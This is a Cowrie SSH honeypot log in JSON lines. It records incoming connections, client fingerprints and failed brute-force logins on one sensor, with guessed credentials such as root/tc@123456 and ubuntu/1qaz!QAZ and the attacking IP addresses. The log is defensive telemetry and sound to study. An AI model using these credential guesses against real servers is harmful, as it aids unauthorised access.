{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:27.791140Z","src_ip":"80.94.92.186","session":"32d3dbc833de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:27.964129Z","src_ip":"80.94.92.186","session":"32d3dbc833de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:28.605396Z","src_ip":"80.94.92.186","session":"32d3dbc833de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:29.744877Z","src_ip":"80.94.92.186","session":"32d3dbc833de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":46802,"dst_ip":"159.203.135.109","dst_port":22,"session":"383c8c605253","protocol":"ssh","message":"New connection: 173.249.6.197:46802 (159.203.135.109:22) [session: 383c8c605253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:43.608774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:43.612434Z","src_ip":"173.249.6.197","session":"383c8c605253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:43.705256Z","src_ip":"173.249.6.197","session":"383c8c605253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest01","message":"login attempt [guest/guest01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:44.110602Z","src_ip":"173.249.6.197","session":"383c8c605253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:45.213112Z","src_ip":"173.249.6.197","session":"383c8c605253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":33532,"dst_ip":"159.203.135.109","dst_port":22,"session":"50fda8a1a085","protocol":"ssh","message":"New connection: 221.139.88.149:33532 (159.203.135.109:22) [session: 50fda8a1a085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:48.427092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:48.432909Z","src_ip":"221.139.88.149","session":"50fda8a1a085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:48.633752Z","src_ip":"221.139.88.149","session":"50fda8a1a085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"123","message":"login attempt [test2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:49.593353Z","src_ip":"221.139.88.149","session":"50fda8a1a085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:50.793123Z","src_ip":"221.139.88.149","session":"50fda8a1a085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":34396,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6fd8933d7b7","protocol":"ssh","message":"New connection: 185.216.119.134:34396 (10.17.0.5:22) [session: d6fd8933d7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:56.805466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:56.820868Z","src_ip":"185.216.119.134","session":"d6fd8933d7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:57.598159Z","src_ip":"185.216.119.134","session":"d6fd8933d7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58926,"dst_ip":"159.203.135.109","dst_port":22,"session":"90738ac9c398","protocol":"ssh","message":"New connection: 159.203.92.129:58926 (159.203.135.109:22) [session: 90738ac9c398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:58.067881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:58.072698Z","src_ip":"159.203.92.129","session":"90738ac9c398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:58.077803Z","src_ip":"159.203.92.129","session":"90738ac9c398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yanghuimin","password":"123456","message":"login attempt [Yanghuimin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:58.093624Z","src_ip":"159.203.92.129","session":"90738ac9c398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:59.100272Z","src_ip":"159.203.92.129","session":"90738ac9c398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tc@123456","message":"login attempt [root/tc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:59.194062Z","src_ip":"185.216.119.134","session":"d6fd8933d7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":37676,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2aa710afdd4","protocol":"ssh","message":"New connection: 31.59.89.180:37676 (159.203.135.109:22) [session: a2aa710afdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:00.072696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:00.077922Z","src_ip":"31.59.89.180","session":"a2aa710afdd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:00.193010Z","src_ip":"31.59.89.180","session":"a2aa710afdd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:00.421365Z","src_ip":"185.216.119.134","session":"d6fd8933d7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ","message":"login attempt [ubuntu/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:00.706810Z","src_ip":"31.59.89.180","session":"a2aa710afdd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:01.823086Z","src_ip":"31.59.89.180","session":"a2aa710afdd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":42134,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6a1c071bf1c","protocol":"ssh","message":"New connection: 31.59.89.180:42134 (159.203.135.109:22) [session: d6a1c071bf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:41.840301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:41.844633Z","src_ip":"31.59.89.180","session":"d6a1c071bf1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54756,"dst_ip":"159.203.135.109","dst_port":22,"session":"78ab6e64b3bc","protocol":"ssh","message":"New connection: 159.203.92.129:54756 (159.203.135.109:22) [session: 78ab6e64b3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:41.854441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:41.862412Z","src_ip":"159.203.92.129","session":"78ab6e64b3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:41.866999Z","src_ip":"159.203.92.129","session":"78ab6e64b3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yanghuimin","password":"Yanghuimin","message":"login attempt [Yanghuimin/Yanghuimin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:41.878822Z","src_ip":"159.203.92.129","session":"78ab6e64b3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:41.956911Z","src_ip":"31.59.89.180","session":"d6a1c071bf1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1","message":"login attempt [user/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:42.432932Z","src_ip":"31.59.89.180","session":"d6a1c071bf1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:42.906121Z","src_ip":"159.203.92.129","session":"78ab6e64b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:43.545639Z","src_ip":"31.59.89.180","session":"d6a1c071bf1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":48990,"dst_ip":"159.203.135.109","dst_port":22,"session":"241d58a4c250","protocol":"ssh","message":"New connection: 221.139.88.149:48990 (159.203.135.109:22) [session: 241d58a4c250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:47.737499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:38:47.743666Z","src_ip":"221.139.88.149","session":"241d58a4c250","protocol":"ssh"}
